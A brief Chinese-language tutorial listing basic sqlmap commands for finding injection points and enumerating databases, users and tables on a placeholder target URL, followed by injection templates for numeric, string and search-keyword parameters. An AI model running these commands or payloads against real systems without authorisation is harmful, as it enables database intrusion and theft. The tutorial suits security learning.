列举一下sqlmap简单命令和相对应的功能:
检测注入点:
sqlmap.py -u "目标url"
检测有哪些数据库:
sqlmap.py -u "目标url" --dbs
检测当前使用的哪个数据库:
sqlmap.py -u "目标url" --current-db
检测当前用户:
sqlmap.py -u "目标url" --current-user
猜解表名:
sqlmap.py -u "目标url" --tables
利用sqlmap注入简单流程:
有一点在之前开始写sql注入的时候漏了,补充一下:
根据注入参数类型,SQL语句按参数类型主要分为下面三种:
1.ID=49,这类注入参数为数字型,SQL语句大致为:
Select * from 表名 where 字段 =49
注入的参数为ID为49 And [查询条件],即是生成语句:
Select * from 表名 where 字段 =49 And [查询条件]
2.Class=书名,这类注入的参数是字符型 ,SQL语句大致为:
Select * from 表名 where 字段='书名'
注入的参数为Class=‘’书名 and [查询条件] "=",即是生成语句:
Select * from 表名 where 字段='书名' and [查询条件] and "="
3.搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ' %关键字%'
注入的参数为keyword=' and [查询条件] and ‘%25’ =',即是生成语句:
Select * from 表名 where 字段like ' %‘ and [查询条件] and '%' =' %'